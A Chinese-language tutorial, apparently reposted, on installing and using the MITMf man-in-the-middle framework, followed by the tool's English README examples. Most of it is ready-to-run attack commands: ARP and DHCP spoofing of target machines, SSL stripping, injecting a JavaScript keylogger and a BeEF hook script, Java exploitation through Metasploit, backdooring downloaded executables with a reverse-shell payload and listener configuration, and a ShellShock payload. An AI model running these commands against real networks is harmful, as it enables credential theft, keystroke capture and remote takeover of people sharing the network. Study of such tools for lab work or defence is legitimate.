MITMF


一. 安裝

項目地址:https://github.com/byt3bl33d3r/MITMf

需要自行手動安裝python-nfqueue,pefile模塊

sudo apt-get install python-nfqueue,pefile
sudo apt-get install mitmf*
pip uninstall twisted
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5.0.tar.bz2

這樣,我們就可以正常使用 mitmf 了
sudo mitmf (一定要使用root權限運行)

下面簡要介紹幾個MITMf的基礎功能,更多擴展工具閱讀
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy

 

二. 使用

工具有幾項基本功能:

sslstrip
  部分繞過HSTS,這個不用多說。默認是開啟的狀態 Filepwn
  主要作用是當被欺騙對象嘗試下載文件時,首先對文件進行分析,對可執行文件(PE、ELF)進行后門注入,然后再給到被欺騙對象 Cachekill
  清空客戶端的緩存緩沖池,這個在我們需要重新注入一段js時是很有用的。這個功能還是非常有用的。 Spoof
  欺騙模塊。當我們使用MITM功能攻擊欺騙時絕對是不能缺少的。其主要包括對ARP、ICMP、DHCP進行流量重定向(三種模式不能同時使用)
BeEFAutorun
  該模塊可以使框架可以連接到BeEF,將MITM與瀏覽器滲透結合起來 Replace
  可以對瀏覽內容進行替換,支持正則表達式。注意,這里模塊默認情況下是強制刷新緩存緩沖池的,要想不改變緩沖內容,需要手動指定keep-cache參數 Inject
  可以向被欺騙者的瀏覽內容中注入各種猥瑣的東西,比如js,html,圖片,電影。
Browser Profiler
  枚舉被欺騙機器的瀏覽器插件。對於前期的信息收集階段還是很有用的。 JavaPwn
  可以通過向被攻擊機器中注入jar使得瀏覽內容被毒化,和metasploit聯合可以直接滲透機器拿到shell
Javascript Keylogger
  一個鍵盤記錄js App Cache Poison
  app緩存投毒。對於網頁應用程序進行毒化處理,然后進行隨心所欲的攻擊。是Krzysztof Kotowicz的補充模塊。 Upsidedownternet
  惡搞模塊,讓瀏覽者的世界翻轉。 RedirectsBrowserProfiler
  這個插件可以檢測目標的瀏覽器類型,這將有助於識別漏洞
HTA Drive-By
  注入一個假的更新通知,並提示客戶下載一個HTA應用
AppCachePoison
  執行HTML5的App-緩存中毒攻擊
BrowserSniper
  執行與外的最新瀏覽器插件在客戶端上HTA Drive-by攻擊
.......

 

使用舉例

嗅探SSL傳輸的數據包
-a參數表示對http和https的數據包都嗅探

python mitmf.py -i eth0 --hsts --spoof --arp --gateway 10.0.0.1 --target 10.0.0.18

繞過HSTS站點抓取登陸明文可以參考:http://www.cnblogs.com/yaseng/p/hsts-bypass-with-mitmf.html

 

Screenshotter模塊
對目標瀏覽器進行截屏

python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.100 --screen

惡搞功能: 它可以使目標瀏覽網頁時,所有的圖片都倒轉 180度。

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.100 --upsidedownternet

Inject模塊的注入功能

注入html Iframe 框架 (指向網址:http://www.freebuf.com):
mitmf -i eth0 --spoof --arp --gateway 192.168.1.2 --target 192.168.1.129 --inject --html-url http://www.freebuf.com

注入js:
mitmf -i eth0 --spoof --arp --gateway 192.168.1.2 --target 192.168.1.129 --inject --js-url http://linvex.xxx.cn/test.js

鍵盤記錄js:
mitmf -i eth0 --spoof –-arp  –-gateway 192.168.1.1 –-target 192.168.1.114 --jskeylogger

關於js攻擊大家可以參考EtherDream同學的JS緩存投毒的文章

最后再看一下“破殼”是如何在DHCP中起作用的

mitmf.py -i eth0 --spoof --dhcp --shellshock

 

三. 高級玩法(1)與Beef配合使用
運行 beef 來調用 beef 的 hook 腳本: cd /usr/share/beef-xss && ./beef
我們可以在啟動界面找到 hook 腳本的地址和 UI界面的地址
在瀏覽器打開UI界面后,下面我們就用 mitmf 進行中間人攻擊。輸入如下命令:

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --inject –js-url http://192.168.1.110:3000/hook.js

原理是: 利用ARP進行地址欺騙,讓局域網中的其他電腦,誤認為Kali為網關路由。
當目標機器打開;瀏覽器,就會被注入 hook 腳本。之后便可在beef上進行客戶端的控制。
我們可以在另一台實驗機器上進行查看,驗證下Mac地址是否已經更改。
當目標打開瀏覽器進行訪問時,我們可以在beef的UI客戶端上看到目標的已經成功被 hook.
在那台實驗機器上,利用審查元素功能進行源碼查看。我們可以看到hook 腳本已經被注入

(2)利用java漏洞進行攻擊
使用的是javapwn模塊。
這個模塊事實上就是根據客戶端的java版本從msf挑出攻擊payload進行溢出滲透攻擊的過程,
只不過是將注入的過程加入到了ARP欺騙的過程而不是之前演示的那種直接給客戶端一個url,使得攻擊更為自然。
將metasploit打開,然后載入msgrpc模塊: msf > load msgrpc Pass=abc123
其他部分保持默認就好了。然后是MITMf端,輸入以下命令:

mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.1.100

然后我們就只需要等待就可以了,這個過程我們可以看到靶機所瀏覽的一些網站記錄同時我們也能接收到一些毒化html的反饋信息。
如果順利,我們的jar就被執行了。

(3)為PE文件注入后門實現滲透
使用Filepwn模塊,與msf結合同樣可以獲得shell。
Filepwn的原理:ARP過程中如果探測到靶機有下載的活動,便劫持下載鏈接,首先將文件下載下來進行解包分析,如果是可執行文件就嘗試注入后門,如果失敗則重新打包。最后將文件輸出給靶機由靶機進行下載。這里的文檔支持 zip和tar.gz格式解包,支持各種可執行文件。
同樣我們打開metasploit,使用handler,開始監聽:

msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

在使用MITMf前我們需要對配置文件進行配置,注入信息配置如下(只列出作用位置)

…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.1.100        
PORT = 4444        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………


接下來是MITMf:

./mitmf.py --iface eth0 --spoof --gateway 192.168.1.1 --target 192.168.1.200 --filepwn

然后就是等待靶機下載文件然后執行就可以了。
最后我們的靶機執行了文件,然后msf獲得到了shell。
*************************************************************************** 

https://github.com/byt3bl33d3r/MITMf
Examples

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0

ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Same as above + a WPAD rogue proxy server using the Responder plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Enable LLMNR/NBTNS/MDNS spoofing:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dhcp

Same as above with a ShellShock payload that will be executed if any client is vulnerable:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'

Inject an HTML IFrame using the Inject plugin:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Inject a JS script:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

And much much more!

Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)

For a complete list of available options, just run python mitmf.py --help

Currently available plugins

HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
SMBTrap : Exploits the 'SMB Trap' vulnerability on connected clients
ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
SSLstrip+ : Partially bypass HSTS
Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
BeEFAutorun : Autoruns BeEF modules based on a client's OS or browser type
AppCachePoison : Performs HTML5 App-Cache poisoning attacks
Ferret-NG : Transperently hijacks client sessions
BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
Inject : Inject arbitrary content into HTML content
BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
JSkeylogger : Injects a Javascript keylogger into a client's webpages
Replace : Replace arbitrary content in HTML content
SMBAuth : Evoke SMB challenge-response authentication attempts
Upsidedownternet : Flips images 180 degrees

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM